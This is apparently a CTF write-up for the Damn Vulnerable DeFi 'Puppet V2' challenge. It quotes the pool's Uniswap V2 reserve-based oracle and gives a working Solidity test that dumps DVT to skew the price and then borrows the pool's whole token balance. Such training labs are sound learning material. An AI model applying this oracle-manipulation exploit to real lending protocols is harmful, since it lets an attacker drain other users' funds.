# Damn Vulnerable DeFi V4 - Puppet V2
[toc]
## Intro
The developers of the previous pool seem to have learned the lesson. And released a new version.
Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. Shouldn’t that be enough?
You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance at risk!
Save all funds from the pool, depositing them into the designated recovery account.
<br>
## Source Code
Source code
https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/puppet-v2
Test file
https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/puppet-v2/PuppetV2.t.sol
<br>
## Analysis
Same as the last challenge, the underlying oracle calculation still based on the uniswapV2's balance ratio
Our goal is to manipulate the WETH/DVT price pair by
- Less the amount of needed WETH as collateral
- To achieve this, the `reserveA`(or `DVT` in this case) has to be higher
<br>
**We can exploit this via perform a swap to ETH by all of our DVT(token)**
- `uniswapV2Router.swapExactTokensForETH`
```solidity=
function borrow(uint256 borrowAmount) external {
// Calculate how much WETH the user must deposit
uint256 amount = calculateDepositOfWETHRequired(borrowAmount);
...
}
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
uint256 depositFactor = 3;
return _getOracleQuote(tokenAmount) * depositFactor / 1 ether;
}
// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});
return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
}
...
// UniswapV2Library.sol
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) internal pure returns (uint256 amountB) {
require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT");
require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
amountB = amountA * reserveB / reserveA;
}
```
<br>
## Attack
```solidity=
// deposit weth and borrow DVT
// uniswap pair -> weth: DVT = 10: 100
//
function test_puppetV2() public checkSolvedByPlayer {
// token.transfer(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
token.approve(address(uniswapV2Router), type(uint256).max);
// prepare the variable
// Add uniswap DVT liquidity, cause DVT easy to borrow
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
uniswapV2Router.swapExactTokensForETH(
token.balanceOf(address(player)),
1 ether,
path,
player,
block.timestamp
);
// Now we have some ETH, now deposit into as WETH
weth.deposit{value: player.balance}();
weth.approve(address(lendingPool), weth.balanceOf(player));
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery, token.balanceOf(player));
}
```